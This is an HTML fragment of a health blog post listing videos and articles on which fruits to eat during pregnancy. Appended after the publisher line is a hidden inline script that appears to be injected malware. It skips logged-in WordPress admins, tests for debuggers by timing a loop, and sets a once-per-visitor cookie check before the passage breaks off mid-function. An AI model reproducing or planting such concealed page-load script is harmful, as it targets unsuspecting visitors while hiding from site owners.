href=\"https:\/\/www.youtube.com\/watch?v=ugHyuCKrqSg\">\u00a0<\/a>fruits\u00a0 eaten during pregnancy :\u00a0<a href=\"https:\/\/www.youtube.com\/watch?v=ugHyuCKrqSg\">https:\/\/www.youtube.com\/watch?v=ugHyuCKrqSg<\/a><\/li>\n<li class=\"style-scope ytd-watch-metadata\">\u00a0increase the level of iron naturally during pregnancy :\u00a0<a href=\"https:\/\/www.youtube.com\/watch?v=b_a094LqhX4\">https:\/\/www.youtube.com\/watch?v=b_a094LqhX4<\/a><\/li>\n<li class=\"style-scope ytd-watch-metadata\">20 best fiber foods :\u00a0<a href=\"https:\/\/www.youtube.com\/watch?v=x1ZFcXZNrkA\">https:\/\/www.youtube.com\/watch?v=x1ZFcXZNrkA<\/a><\/li>\n<\/ol>\n<p><strong>RELATED ARTICLE :<\/strong><\/p>\n<ol>\n<li>Eating apples during pregnancy\u00a0:\u00a0<a href=\"https:\/\/www.healthsrainbow.com\/blog\/2022\/12\/27\/%e0%a4%aa%e0%a5%8d%e0%a4%b0%e0%a5%87%e0%a4%97%e0%a4%a8%e0%a5%87%e0%a4%82%e0%a4%b8%e0%a5%80-%e0%a4%ae%e0%a5%87%e0%a4%82-%e0%a4%b8%e0%a5%87%e0%a4%ac-%e0%a4%96%e0%a4%be%e0%a4%a8%e0%a5%87-%e0%a4%95\/\">https:\/\/www.healthsrainbow.com\/blog\/2022\/12\/27\/<\/a><\/li>\n<li>Foods To Avoid During Pregnancy :\u00a0<a href=\"https:\/\/www.healthsrainbow.com\/blog\/2022\/04\/13\/%e0%a4%97%e0%a4%b0%e0%a5%8d%e0%a4%ad%e0%a4%be%e0%a4%b5%e0%a4%b8%e0%a5%8d%e0%a4%a5%e0%a4%be-%e0%a4%95%e0%a5%87-%e0%a4%a6%e0%a5%8c%e0%a4%b0%e0%a4%be%e0%a4%a8-%e0%a4%95%e0%a5%8d%e0%a4%af%e0%a4%be\/\">https:\/\/www.healthsrainbow.com\/blog\/2022\/04\/13\/<\/a><\/li>\n<li>Itching During Pregnancy :\u00a0<a href=\"https:\/\/www.healthsrainbow.com\/blog\/2022\/04\/12\/%e0%a4%aa%e0%a5%8d%e0%a4%b0%e0%a5%87%e0%a4%97%e0%a4%a8%e0%a5%87%e0%a4%82%e0%a4%b8%e0%a5%80-%e0%a4%ae%e0%a5%87%e0%a4%82-%e0%a4%96%e0%a5%81%e0%a4%9c%e0%a4%b2%e0%a5%80-%e0%a4%95%e0%a5%8d%e0%a4%af\/\">https:\/\/www.healthsrainbow.com\/blog\/2022\/04\/12\/<\/a><\/li>\n<\/ol>\n<p><strong>VISIT OUR WEBSITE :\u00a0<\/strong><\/p>\n<ol>\n<li><a href=\"https:\/\/www.healthsrainbow.com\/\">https:\/\/www.healthsrainbow.com\/<\/a><\/li>\n<li><a href=\"https:\/\/www.healthsrainbow.com\/\">https:\/\/www.healthsrainbow.com\/<\/a><\/li>\n<\/ol>\n<p><strong>This video Covers the information about:<\/strong><\/p>\n<p><span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">Which fruit is good for pregnant woman?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">Which fruit should not be eaten during pregnancy?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">Which dry fruit should not be eaten during pregnancy?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">Which is the most beneficial dry fruit?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">How many fruits can one eat during pregnancy?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">What are easy ways to add more fruits to your diet?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">Benefits of eating fruits during pregnancy?<\/span><\/span><\/p>\n<p><strong>PUBLISHED BY HEALTHS RAINBOW<\/strong><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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